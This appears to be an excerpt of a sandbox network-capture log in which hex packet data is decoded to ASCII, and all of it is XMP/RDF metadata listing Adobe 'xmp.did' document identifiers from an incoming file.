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2022-05-26 11:47:00 UTC 9471 IN Data Raw: 46 44 37 42 45 30 31 31 41 31 32 42 44 35 39 41 33 30 46 37 42 35 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 42 30 38 39 30 32 42 38 32 36 42 31 31 45 32 39 41 45 38 45 46 35 44 38 
30 39 43 36 36 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 42 34 32 45 34 
46 38 30 39 32 34 36 38 31 31 38 44 42 42 44 35 38 42 45 31 36 45 39 35 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 42 36 42 42 30 41 44 35 38 31 35 45 36 31 31 38 32 30 43 42 31 36 34 46 30 
35 31 38 39 43 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 42 42 30 46 30 45 
39 35 43 43 37 44 46 31 31 39 43 39 46 41 42 39 31 35 41 44 31 43 43 44 
Data Ascii: FD7BE011A12BD59A30F7B594</rdf:li> <rdf:li>xmp.did:1B08902B826B11E29AE8EF5D809C6681</rdf:li> 
<rdf:li>xmp.did:1B42E4F8092468118DBBD58BE16E9552</rdf:li> <rdf:li>xmp.did:1B6BB0AD5815E611820CB1
64F05189CB</rdf:li> <rdf:li>xmp.did:1BB0F0E95CC7DF119C9FAB915AD1CCD

2022-05-26 11:47:00 UTC 9487 IN Data Raw: 36 33 45 34 41 31 34 36 32 30 36 38 31 31 41 34 38 32 46 37 45 33 32 32 39 42 31 31 30 43 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 42 38 30 33 43 30 38 31 43 32 30 36 38 31 31 38 37 
31 46 44 34 33 37 45 39 39 33 30 32 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3
a 32 42 41 30 41 46 42 39 46 44 39 44 45 31 31 31 41 44 44 32 39 42 36 38 34 45 34 35 45 35 38 31 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 42 41 44 44 41 38 37 37 34 32 31 36 38 31 31 38 43 31 34 
41 33 36 45 35 36 36 45 31 32 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 
42 42 30 45 33 41 31 31 32 46 39 44 46 31 31 42 46 43 43 46 31 38 45 34 
Data Ascii: 63E4A146206811A482F7E3229B110C</rdf:li> <rdf:li>xmp.did:2B803C081C206811871FD437E9930249
</rdf:li> <rdf:li>xmp.did:2BA0AFB9FD9DE111ADD29B684E45E581</rdf:li> <rdf:li>xmp.did:2BADDA8774216811
8C14A36E566E12DA</rdf:li> <rdf:li>xmp.did:2BB0E3A112F9DF11BFCCF18E4

2022-05-26 11:47:00 UTC 9494 IN Data Raw: 45 35 37 38 38 43 33 35 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
33 32 33 33 30 36 38 43 39 38 32 30 36 38 31 31 38 30 38 33 41 32 42 36 43 32 38 33 31 33 43 41 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 32 34 38 37 36 45 42 46 31 36 42 45 30 31 31 39 45 36 39 
45 38 35 34 42 42 41 31 46 35 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 3
2 36 44 44 31 30 37 30 42 32 30 36 38 31 31 42 34 42 43 43 32 41 38 45 42 43 37 38 31 33 35 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 32 37 46 33 37 37 37 32 31 32 30 36 38 31 31 38 44 42 42 39 
35 32 33 34 46 31 37 37 39 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
Data Ascii: E5788C353D</rdf:li> <rdf:li>xmp.did:3233068C982068118083A2B6C28313CA</rdf:li> <rdf:li>xmp.did:3248
76EBF16BE0119E69E854BBA1F514</rdf:li> <rdf:li>xmp.did:326DD1070B206811B4BCC2A8EBC78135</rdf:li> <rdf
:li>xmp.did:327F3777212068118DBB95234F177900</rdf:li> <rd

2022-05-26 11:47:00 UTC 9510 IN Data Raw: 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 30 35 46 44 42 33 35 32 43 32 30 36 38 31 31 38 43 31 34 42 
46 45 35 30 46 36 31 45 32 42 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 30 
36 32 35 39 35 63 2d 31 31 62 37 2d 34 63 39 38 2d 38 39 34 33 2d 61 32 30 66 61 34 63 63 62 35 64 63 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 30 37 44 36 33 32 35 32 42 32 30 36 38 31 31 38 44 
42 42 44 35 38 42 45 31 36 45 39 35 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 34 30 38 30 35 42 34 42 31 45 32 30 36 38 31 31 38 37 31 46 44 44 34 41 41 37 36 43 38 38 36 42 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 30 38 38 41 
Data Ascii: df:li>xmp.did:405FDB352C2068118C14BFE50F61E2B4</rdf:li> <rdf:li>xmp.did:4062595c-11b7-4c98-8943-a2
0fa4ccb5dc</rdf:li> <rdf:li>xmp.did:407D63252B2068118DBBD58BE16E9552</rdf:li> <rdf:li>xmp.did:40805B
4B1E206811871FDD4AA76C886B</rdf:li> <rdf:li>xmp.did:4088A

2022-05-26 11:47:00 UTC 9526 IN Data Raw: 6d 70 2e 64 69 64 3a 35 30 35 33 64 34 66 32 2d 35 63 63 62 2d 35 63 34 32 2d 38 65 32 62 2d 39 63 37 38 
33 61 66 31 64 38 32 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 30 36 41 32 
32 41 37 45 42 34 43 45 34 31 31 38 32 32 36 38 44 34 46 33 33 46 38 37 33 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 6
4 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 30 37 30 46 32 30 38 30 38 32 30 36 38 31 31 38 30 35 41 38 36 42 41 42 
39 45 39 41 46 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 30 39 30 31 36 
32 34 30 38 32 30 36 38 31 31 39 35 46 45 42 35 38 32 44 30 31 36 42 33 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 30 39 31 44 36 46 44 43 34 32 31 
Data Ascii: mp.did:5053d4f2-5ccb-5c42-8e2b-9c783af1d82b</rdf:li> <rdf:li>xmp.did:506A22A7EB4CE41182268D4F33F87
394</rdf:li> <rdf:li>xmp.did:5070F20808206811805A86BAB9E9AF64</rdf:li> <rdf:li>xmp.did:5090162408206
81195FEB582D016B30A</rdf:li> <rdf:li>xmp.did:5091D6FDC421

2022-05-26 11:47:00 UTC 9534 IN Data Raw: 36 38 30 31 39 34 39 30 39 32 30 36 38 31 31 41 46 46 44 46 41 39 44 36 37 39 37 37 43 42 35 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 36 38 64 30 62 36 61 2d 66 36 34 66 2d 34 63 39 61 
2d 62 35 61 30 2d 36 64 31 66 37 61 63 36 30 30 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
2e 64 69 64 3a 35 36 41 37 42 35 33 41 44 38 32 34 36 38 31 31 39 37 34 45 46 31 32 34 46 34 45 38 34 32 37 42 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 36 45 44 30 43 34 37 30 38 32 30 36 38 31 
31 38 30 38 33 43 44 46 44 46 39 42 33 35 31 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
64 69 64 3a 35 36 46 44 38 36 35 44 36 35 32 31 36 38 31 31 41 36 31 33 
Data Ascii: 680194909206811AFFDFA9D67977CB5</rdf:li> <rdf:li>xmp.did:568d0b6a-f64f-4c9a-b5a0-6d1f7ac60021</rdf
:li> <rdf:li>xmp.did:56A7B53AD8246811974EF124F4E8427B</rdf:li> <rdf:li>xmp.did:56ED0C47082068118083C
DFDF9B3510D</rdf:li> <rdf:li>xmp.did:56FD865D65216811A613

2022-05-26 11:47:00 UTC 9550 IN Data Raw: 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 36 39 44 35 33 34 35 39 33 32 30 36 38 31 31 38 30 38 33 
41 32 42 36 43 32 38 33 31 33 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 
36 42 44 46 34 43 41 41 33 30 30 45 31 31 31 41 41 35 33 46 31 31 34 32 34 32 46 32 34 30 38 3c 2f 72 64 66 3a 6c 69 3
e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 36 44 32 44 31 35 37 33 36 32 30 36 38 31 31 41 34 38 32 46 
37 45 33 32 32 39 42 31 31 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 36 
46 46 34 41 42 44 30 39 32 30 36 38 31 31 38 30 38 33 39 33 34 42 39 31 43 43 36 33 36 41 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 36 64 39 61 36 64 39 
Data Ascii: rdf:li>xmp.did:669D5345932068118083A2B6C28313CA</rdf:li> <rdf:li>xmp.did:66BDF4CAA300E11
1AA53F114242F2408</rdf:li> <rdf:li>xmp.did:66D2D15736206811A482F7E3229B110C</rdf:li> <rdf:li>xmp.did
:66FF4ABD092068118083934B91CC636A</rdf:li> <rdf:li>xmp.did:66d9a6d9

2022-05-26 11:47:00 UTC 9566 IN Data Raw: 64 61 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 35 36 30 65 34 35 
37 2d 30 31 36 38 2d 34 36 37 38 2d 38 62 61 32 2d 64 32 33 35 31 38 61 36 36 39 61 32 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 35 37 36 41 43 33 37 32 38 32 30 36 38 31 31 42 37 43 34 38 31 31 
33 37 36 41 43 45 42 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 35 38 39 6
1 36 35 61 2d 30 31 31 38 2d 66 65 34 38 2d 39 30 62 65 2d 30 36 33 63 63 65 32 36 61 63 36 31 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 35 43 31 38 46 36 44 44 36 37 44 31 31 45 30 42 30 43 34 45 
32 44 30 42 35 43 33 30 41 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
Data Ascii: dae</rdf:li> <rdf:li>xmp.did:7560e457-0168-4678-8ba2-d23518a669a2</rdf:li> <rdf:li>xmp.did:7576AC3
728206811B7C4811376ACEB01</rdf:li> <rdf:li>xmp.did:7589a65a-0118-fe48-90be-063cce26ac61</rdf:li> <rdf:li>xmp.d
id:75C18F6DD67D11E0B0C4E2D0B5C30AD4</rdf:li> <r
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2022-05-26 11:47:00 UTC 9574 IN Data Raw: 69 64 3a 37 45 43 45 44 31 46 36 32 45 31 45 45 32 31 31 38 33 42 44 38 44 31 37 36 42 38 33 39 38 33 38 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 45 45 39 30 39 37 44 44 43 32 30 36 
38 31 31 39 35 31 39 45 41 35 46 45 45 35 46 43 36 39 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 7
0 2e 64 69 64 3a 37 46 32 33 32 32 42 42 45 43 32 30 36 38 31 31 42 31 41 34 44 39 30 44 41 42 46 41 39 41 33 35 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 46 32 34 35 45 36 35 41 35 32 32 36 38 
31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
2e 64 69 64 3a 37 46 35 36 32 45 35 46 30 43 32 30 36 38 31 31 38 41 36 44 
Data Ascii: id:7ECED1F62E1EE21183BD8D176B839838</rdf:li> <rdf:li>xmp.did:7EE9097DDC2068119519EA5FEE5
FC690</rdf:li> <rdf:li>xmp.did:7F2322BBEC206811B1A4D90DABFA9A35</rdf:li> <rdf:li>xmp.did:7F245E65A52
26811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:7F562E5F0C2068118A6D

2022-05-26 11:47:00 UTC 9590 IN Data Raw: 38 43 45 34 35 38 33 42 41 42 32 30 36 38 31 31 38 32 32 41 44 36 38 43 30 34 37 39 37 31 41 38 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 43 46 38 37 37 42 38 30 37 32 30 36 38 31 31 
39 32 42 30 45 39 30 44 30 34 38 45 41 37 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 6
9 64 3a 38 43 46 38 45 41 39 31 45 32 32 30 36 38 31 31 42 34 31 30 44 35 36 46 37 30 31 32 34 35 33 34 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 44 30 32 33 43 39 32 44 35 42 43 45 32 31 31 41 
41 33 37 44 38 32 45 39 38 31 38 41 34 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 38 44 33 37 34 32 33 46 44 36 42 41 45 31 31 31 39 43 46 36 42 38 41 
Data Ascii: 8CE4583BAB206811822AD68C047971A8</rdf:li> <rdf:li>xmp.did:8CF877B80720681192B0E90D048EA7
2C</rdf:li> <rdf:li>xmp.did:8CF8EA91E2206811B410D56F70124534</rdf:li> <rdf:li>xmp.did:8D023C92D5BCE2
11AA37D82E9818A41F</rdf:li> <rdf:li>xmp.did:8D37423FD6BAE1119CF6B8A

2022-05-26 11:47:00 UTC 9606 IN Data Raw: 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 41 34 30 39 44 33 41 
39 46 32 32 36 38 31 31 38 32 32 41 46 30 44 43 31 35 41 42 35 36 46 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 78 6d 70 2e 64 69 64 3a 39 41 34 38 37 36 36 43 30 39 32 30 36 38 31 31 39 35 42 42 38 45 32 44 39 39 41 36 
37 36 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 41 34 38 43 42 45 45 33 4
4 32 35 36 38 31 31 38 44 42 42 39 32 38 31 39 30 38 37 30 44 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 78 6d 70 2e 64 69 64 3a 39 41 34 41 36 44 45 46 36 44 39 41 31 31 45 31 38 35 43 45 38 43 37 37 41 38 44 30 30 38 
34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
Data Ascii: 52</rdf:li> <rdf:li>xmp.did:9A409D3A9F226811822AF0DC15AB56FB</rdf:li> <rdf:li>xmp.did:9A48766C0920
681195BB8E2D99A676D6</rdf:li> <rdf:li>xmp.did:9A48CBEE3D2568118DBB928190870DAB</rdf:li> <rdf:li>xmp.
did:9A4A6DEF6D9A11E185CE8C77A8D00848</rdf:li> <rdf:li>xmp

2022-05-26 11:47:00 UTC 9614 IN Data Raw: 43 38 46 34 34 30 37 44 32 32 36 38 31 31 39 37 41 35 45 34 46 36 45 38 44 43 41 45 38 46 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 32 44 30 30 37 31 30 31 35 32 30 36 38 31 31 38 30 
38 33 45 33 37 37 35 30 34 46 31 35 42 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3
a 41 32 44 44 39 32 41 30 37 44 32 30 36 38 31 31 39 32 42 30 44 30 41 37 35 38 31 35 46 38 41 36 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 32 46 32 45 37 30 33 41 39 32 36 45 31 31 31 39 33 46 46 
43 31 31 30 46 34 46 36 46 35 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 
33 30 31 42 44 36 42 45 32 32 30 36 38 31 31 39 39 34 43 45 38 33 42 42 
Data Ascii: C8F4407D22681197A5E4F6E8DCAE8F</rdf:li> <rdf:li>xmp.did:A2D00710152068118083E377504F15BF
</rdf:li> <rdf:li>xmp.did:A2DD92A07D20681192B0D0A75815F8A6</rdf:li> <rdf:li>xmp.did:A2F2E703A926E111
93FFC110F4F6F54D</rdf:li> <rdf:li>xmp.did:A301BD6BE2206811994CE83BB

2022-05-26 11:47:00 UTC 9630 IN Data Raw: 42 45 35 34 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 42 41 33 
34 31 42 33 30 42 32 30 36 38 31 31 38 30 38 33 44 38 36 43 41 31 35 46 41 46 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 42 41 44 39 45 44 46 32 41 33 36 45 35 31 31 42 32 32 36 41 41 42 37 
41 43 31 36 30 36 32 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 42 41 44 42 3
5 33 41 41 31 32 38 45 31 31 31 39 31 36 31 41 41 38 32 42 38 39 31 31 37 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 42 45 30 43 33 36 34 30 43 32 30 36 38 31 31 38 30 38 33 44 38 30 41 34 
39 42 41 35 37 32 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
Data Ascii: BE54AC</rdf:li> <rdf:li>xmp.did:BBA341B30B2068118083D86CA15FAF3B</rdf:li> <rdf:li>xmp.di
d:BBAD9EDF2A36E511B226AAB7AC160626</rdf:li> <rdf:li>xmp.did:BBADB53AA128E1119161AA82B891173A</rdf:li> 
<rdf:li>xmp.did:BBE0C3640C2068118083D80A49BA572B</rdf:li> <rdf:li

2022-05-26 11:47:00 UTC 9646 IN Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 32 33 30 39 34 46 41 42 45 32 
31 36 38 31 31 38 41 36 44 45 33 32 44 43 45 37 38 35 34 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 44 32 34 31 45 34 46 43 39 43 32 37 45 33 31 31 39 33 39 33 45 38 36 32 30 33 39 30 38 42 42 
41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 32 34 42 36 46 42 37 45 32 30 37 3
1 31 45 30 42 42 31 33 41 43 34 36 37 38 42 44 32 32 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 44 32 35 38 35 32 34 31 42 36 44 31 45 34 31 31 42 34 43 45 38 32 34 36 30 46 42 37 46 34 46 46 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
Data Ascii: /rdf:li> <rdf:li>xmp.did:D23094FABE2168118A6DE32DCE785405</rdf:li> <rdf:li>xmp.did:D241E4FC9C27E31
19393E86203908BBA</rdf:li> <rdf:li>xmp.did:D24B6FB7E20711E0BB13AC4678BD227D</rdf:li> <rdf:li>xmp.did
:D2585241B6D1E411B4CE82460FB7F4FF</rdf:li> <rdf:li>xmp.di

2022-05-26 11:47:00 UTC 9654 IN Data Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 41 43 33 39 38 39 42 46 35 32 30 36 38 31 31 
39 31 30 39 44 46 44 41 37 45 34 46 31 31 34 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 44 42 30 37 36 44 37 41 30 43 32 30 36 38 31 31 39 35 46 45 38 41 37 43 39 38 43 31 33 38 32 44 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 42 30 41 37 37 42 37 39 46 32 31 36 38 31 31 42 
39 41 46 42 43 38 42 42 34 46 33 39 37 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 44 42 32 33 46 43 34 37 31 35 32 30 36 38 31 31 39 39 34 43 45 38 33 42 42 42 43 38 36 44 37 34 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 42 33 36 
Data Ascii: i> <rdf:li>xmp.did:DAC3989BF52068119109DFDA7E4F114E</rdf:li> <rdf:li>xmp.did:DB076D7A0C2
0681195FE8A7C98C1382D</rdf:li> <rdf:li>xmp.did:DB0A77B79F216811B9AFBC8BB4F397D6</rdf:li> <rdf:li>xmp
.did:DB23FC4715206811994CE83BBBC86D74</rdf:li> <rdf:li>xmp.did:DB36

2022-05-26 11:47:00 UTC 9670 IN Data Raw: 43 32 31 36 38 31 31 38 37 31 46 41 38 44 32 44 30 45 30 34 44 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 35 35 36 44 45 43 44 42 45 31 42 45 30 31 31 42 33 30 33 42 42 41 41 36 44 
31 46 41 30 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 35 36 32 37 45 35 
41 45 30 46 45 45 30 31 31 42 41 30 31 38 31 30 35 42 43 34 45 43 43 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3
a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 35 36 39 37 41 43 34 34 45 32 32 36 38 31 31 39 31 30 39 42 41 43 34 30 37 42 
46 43 35 31 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 35 38 32 39 35 46 41 
30 31 44 34 31 31 45 32 38 31 30 38 44 46 46 33 35 35 45 42 37 30 34 38 
Data Ascii: C216811871FA8D2D0E04D77</rdf:li> <rdf:li>xmp.did:F556DECDBE1BE011B303BBAA6D1FA0A7</rdf:li> 
<rdf:li>xmp.did:F5627E5AE0FEE011BA018105BC4ECC83</rdf:li> <rdf:li>xmp.did:F5697AC44E2268119109BAC
407BFC519</rdf:li> <rdf:li>xmp.did:F58295FA01D411E28108DFF355EB7048
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2022-05-26 11:47:00 UTC 9686 IN Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 37 46 31 31 37 34 30 37 32 30 36 38 
31 31 38 46 36 32 38 38 42 32 37 30 35 43 33 45 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
2e 64 69 64 3a 46 42 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 44 34 33 36 36 42 36 31 41 32 33 32 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 37 46 31 31 37 34 30 37 32 30 36 38 31 
31 38 46 36 32 44 45 38 41 33 45 45 38 37 41 39 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
64 69 64 3a 46 42 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 45 33 37 37 30 31 39 41 34 44 43 35 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 
Data Ascii: :li> <rdf:li>xmp.did:FB7F1174072068118F6288B2705C3E6F</rdf:li> <rdf:li>xmp.did:FB7F1174072068118F6
2D4366B61A232</rdf:li> <rdf:li>xmp.did:FB7F1174072068118F62DE8A3EE87A91</rdf:li> <rdf:li>xmp.did:FB7
F1174072068119109E377019A4DC5</rdf:li> <rdf:li>xmp.did:FB

2022-05-26 11:47:00 UTC 9690 IN Data Raw: 31 34 43 35 44 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 45 37 
46 31 31 37 34 30 37 32 30 36 38 31 31 41 44 45 35 39 46 44 45 38 43 31 39 44 30 44 32 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 45 37 46 31 31 37 34 30 37 32 30 36 38 31 31 42 31 41 34 46 37 42 
35 31 39 31 45 36 43 43 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 45 37 46 3
1 31 37 34 30 37 32 30 36 38 31 31 42 38 34 30 45 31 34 31 39 38 39 36 45 31 45 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 45 37 46 31 31 37 34 30 37 32 30 36 38 31 31 42 39 45 37 39 44 33 36 34 
43 45 46 41 35 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
Data Ascii: 14C5DA9</rdf:li> <rdf:li>xmp.did:FE7F117407206811ADE59FDE8C19D0D2</rdf:li> <rdf:li>xmp.did:FE7F117
407206811B1A4F7B5191E6CC3</rdf:li> <rdf:li>xmp.did:FE7F117407206811B840E1419896E1ED</rdf:li> <rdf:li
>xmp.did:FE7F117407206811B9E79D364CEFA57E</rdf:li> <rdf:l

2022-05-26 11:47:00 UTC 9706 IN Data Raw: 64 3a 63 39 39 39 35 66 63 64 2d 39 33 65 32 2d 31 36 34 35 2d 39 64 61 61 2d 36 38 36 64 37 32 39 32 31 
64 65 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 39 65 63 61 31 38 39 2d 39 
36 66 38 2d 63 33 34 34 2d 62 39 32 63 2d 32 37 30 31 65 64 36 62 66 39 30 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 61 30 65 64 31 35 33 2d 31 61 62 30 2d 34 33 62 34 2d 38 33 34 66 2d 65 61 
38 65 65 38 66 65 36 38 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 61 39 
38 36 62 39 61 2d 38 63 32 61 2d 32 38 34 33 2d 39 39 34 38 2d 61 66 39 33 34 66 34 33 36 36 37 30 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 62 31 37 62 
Data Ascii: d:c9995fcd-93e2-1645-9daa-686d72921dee</rdf:li> <rdf:li>xmp.did:c9eca189-96f8-c344-b92c-2701ed6bf9
